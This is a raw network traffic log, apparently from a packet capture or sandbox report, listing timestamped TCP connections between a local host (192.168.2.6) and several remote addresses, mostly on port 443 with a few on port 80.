Nov 7, 2024 17:25:26.545720100 CET	49806	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.545725107 CET	443	49806	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.545748949 CET	49806	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.545753956 CET	443	49806	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.550189018 CET	49812	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.550221920 CET	443	49812	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.550375938 CET	49812	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.550524950 CET	49812	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.550537109 CET	443	49812	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.551474094 CET	443	49804	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.551572084 CET	443	49804	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.551642895 CET	49804	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.551853895 CET	49804	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.551858902 CET	443	49804	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.561296940 CET	49813	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.561316013 CET	443	49813	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.561376095 CET	49813	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.561722040 CET	49813	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.561733961 CET	443	49813	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.589900017 CET	443	49805	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.589968920 CET	443	49805	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.590056896 CET	49805	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.590859890 CET	49805	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.590872049 CET	443	49805	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.590882063 CET	49805	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.590888023 CET	443	49805	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.594029903 CET	49814	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.594046116 CET	443	49814	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.594114065 CET	49814	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.594305038 CET	49814	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.594314098 CET	443	49814	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.637064934 CET	443	49801	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:26.637134075 CET	49801	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:26.642777920 CET	49801	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:26.642786026 CET	443	49801	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:26.643035889 CET	443	49801	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:26.647933006 CET	49801	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:26.648824930 CET	49801	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:26.648830891 CET	443	49801	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:26.649064064 CET	49801	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:26.691328049 CET	443	49801	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:26.744178057 CET	49815	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:26.744215012 CET	443	49815	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:26.744359016 CET	49815	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:26.745451927 CET	49815	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:26.745464087 CET	443	49815	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:26.896955967 CET	443	49801	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:26.897547960 CET	49801	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:26.897572994 CET	443	49801	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:26.897593975 CET	49801	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:26.897784948 CET	443	49801	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:26.897816896 CET	49801	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:26.897865057 CET	49801	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:27.016267061 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:27.016305923 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:27.016387939 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:27.016551018 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:27.016563892 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:27.146821976 CET	443	49810	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.147520065 CET	49810	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.147540092 CET	443	49810	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.149760962 CET	49810	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.149770975 CET	443	49810	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.278388023 CET	443	49810	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.278588057 CET	443	49810	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.278667927 CET	49810	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.278856039 CET	49810	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.278856039 CET	49810	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.278872967 CET	443	49810	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.278882980 CET	443	49810	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.279566050 CET	443	49813	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.280313015 CET	49813	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.280324936 CET	443	49813	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.280841112 CET	49813	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.280847073 CET	443	49813	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.281167030 CET	443	49811	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.282254934 CET	49818	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.282269001 CET	443	49818	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.282334089 CET	49818	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.282538891 CET	443	49812	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.282589912 CET	49811	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.282602072 CET	443	49811	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.282737017 CET	49818	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.282747984 CET	443	49818	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.282987118 CET	49812	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.282999039 CET	443	49812	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.283025026 CET	49811	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.283030033 CET	443	49811	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.283421040 CET	49812	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.283427000 CET	443	49812	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.323920965 CET	443	49814	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.324887037 CET	49814	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.324903011 CET	443	49814	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.325990915 CET	49814	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.325995922 CET	443	49814	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.409141064 CET	443	49813	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.409224987 CET	443	49813	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.409465075 CET	49813	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.409499884 CET	49813	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.409514904 CET	443	49813	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.409526110 CET	49813	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.409532070 CET	443	49813	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.412744045 CET	49819	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.412774086 CET	443	49819	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.412906885 CET	49819	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.413089037 CET	49819	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.413104057 CET	443	49819	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.413983107 CET	443	49811	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.414041996 CET	443	49811	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.414186954 CET	49811	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.414228916 CET	49811	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.414228916 CET	49811	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.414244890 CET	443	49811	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.414254904 CET	443	49811	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.414557934 CET	443	49812	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.414624929 CET	443	49812	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.415005922 CET	49812	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.415057898 CET	49812	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.415074110 CET	443	49812	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.415085077 CET	49812	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.415090084 CET	443	49812	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.416802883 CET	49820	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.416846037 CET	443	49820	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.417012930 CET	49821	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.417047977 CET	443	49821	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.417052031 CET	49820	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.417130947 CET	49821	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.417201996 CET	49820	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.417218924 CET	443	49820	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.417278051 CET	49821	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.417299986 CET	443	49821	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.452805996 CET	443	49814	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.452931881 CET	443	49814	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.453000069 CET	49814	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.453172922 CET	49814	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.453182936 CET	443	49814	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.453193903 CET	49814	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.453198910 CET	443	49814	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.456082106 CET	49822	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.456103086 CET	443	49822	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.456202984 CET	49822	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.456372023 CET	49822	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:27.456382990 CET	443	49822	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:27.581253052 CET	443	49815	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:27.581331968 CET	49815	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:27.585624933 CET	49815	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:27.585633993 CET	443	49815	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:27.585912943 CET	443	49815	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:27.625269890 CET	49815	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:27.671329975 CET	443	49815	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:27.866525888 CET	443	49815	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:27.866617918 CET	443	49815	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:27.866740942 CET	49815	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:27.866964102 CET	49815	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:27.866981983 CET	443	49815	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:27.866995096 CET	49815	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:27.867001057 CET	443	49815	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:27.867805004 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:27.869291067 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:27.869317055 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:27.870347023 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:27.870429039 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:27.873595953 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:27.873672962 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:27.881447077 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:27.881464958 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:27.920030117 CET	49824	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:27.920054913 CET	443	49824	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:27.920161963 CET	49824	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:27.920551062 CET	49824	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:27.920566082 CET	443	49824	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:27.930243015 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.020433903 CET	49826	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.020451069 CET	443	49826	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.020558119 CET	49826	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.020761967 CET	49826	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.020775080 CET	443	49826	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.023037910 CET	443	49818	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.023610115 CET	49818	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.023634911 CET	443	49818	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.025396109 CET	49818	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.025403976 CET	443	49818	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.125982046 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.126044035 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.126079082 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.126100063 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.126110077 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.126135111 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.126152039 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.126380920 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.126442909 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.126451015 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.135117054 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.135169983 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.135181904 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.145673037 CET	443	49819	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.146255016 CET	49819	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.146275997 CET	443	49819	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.147121906 CET	49819	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.147128105 CET	443	49819	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.147128105 CET	443	49820	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.147819996 CET	49820	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.147830963 CET	443	49820	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.148775101 CET	49820	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.148780107 CET	443	49820	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.150404930 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:28.150969028 CET	49829	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:28.154802084 CET	443	49818	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.154827118 CET	443	49818	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.154881954 CET	49818	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.154891014 CET	443	49818	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.154946089 CET	49818	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.155168056 CET	49818	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.155184984 CET	443	49818	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.155195951 CET	49818	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.155200958 CET	443	49818	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.155253887 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:28.156028032 CET	80	49829	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:28.156115055 CET	49829	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:28.156577110 CET	49829	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:28.159032106 CET	49830	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.159075975 CET	443	49830	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.159141064 CET	49830	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.159327984 CET	49830	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.159341097 CET	443	49830	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.159684896 CET	443	49821	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.160115957 CET	49821	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.160129070 CET	443	49821	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.160604954 CET	49821	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.160610914 CET	443	49821	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.161365032 CET	80	49829	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:28.180246115 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.180263042 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.186490059 CET	443	49822	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.187120914 CET	49822	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.187129974 CET	443	49822	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.187638044 CET	49822	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.187642097 CET	443	49822	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.226511955 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.243113995 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.243169069 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.243231058 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.243252039 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.245450020 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.245683908 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.245693922 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.252708912 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.252856016 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.252868891 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.258316994 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.258464098 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.258482933 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.275377989 CET	443	49819	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.275541067 CET	443	49819	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.275690079 CET	49819	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.275933981 CET	49819	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.275957108 CET	443	49819	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.275969982 CET	49819	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.275975943 CET	443	49819	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.276571989 CET	443	49820	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.276634932 CET	443	49820	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.276709080 CET	49820	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.276936054 CET	49820	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.276949883 CET	443	49820	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.276959896 CET	49820	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.276966095 CET	443	49820	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.279611111 CET	49831	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.279635906 CET	49832	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.279642105 CET	443	49831	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.279668093 CET	443	49832	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.279735088 CET	49832	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.279742956 CET	49831	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.279932976 CET	49832	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.279947042 CET	443	49832	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.279959917 CET	49831	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.279973030 CET	443	49831	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.291755915 CET	443	49821	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.291779041 CET	443	49821	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.291827917 CET	49821	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.291842937 CET	443	49821	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.291924953 CET	443	49821	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.291984081 CET	49821	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.292092085 CET	49821	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.292102098 CET	443	49821	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.292117119 CET	49821	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.292120934 CET	443	49821	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.294857025 CET	49833	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.294878006 CET	443	49833	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.294945002 CET	49833	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.295094013 CET	49833	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.295106888 CET	443	49833	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.305555105 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.305577993 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.316092014 CET	443	49822	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.316114902 CET	443	49822	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.316164970 CET	49822	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.316173077 CET	443	49822	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.316224098 CET	443	49822	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.316272020 CET	49822	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.316411972 CET	49822	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.316416979 CET	443	49822	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.316442013 CET	49822	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.316446066 CET	443	49822	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.319257021 CET	49834	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.319278002 CET	443	49834	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.319351912 CET	49834	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.319495916 CET	49834	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.319508076 CET	443	49834	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.352402925 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.382879019 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.382946968 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.382973909 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.383008957 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.383032084 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.383101940 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.383132935 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.383217096 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.383249998 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.383265018 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.383274078 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.383331060 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.383338928 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.421314001 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.421510935 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.421533108 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.461783886 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.477144003 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.478070021 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.478101015 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.478152990 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.478168011 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.478279114 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.479360104 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.484181881 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.484240055 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.484247923 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.492856979 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.492939949 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.492949963 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.538446903 CET	443	49817	172.217.16.206	192.168.2.6
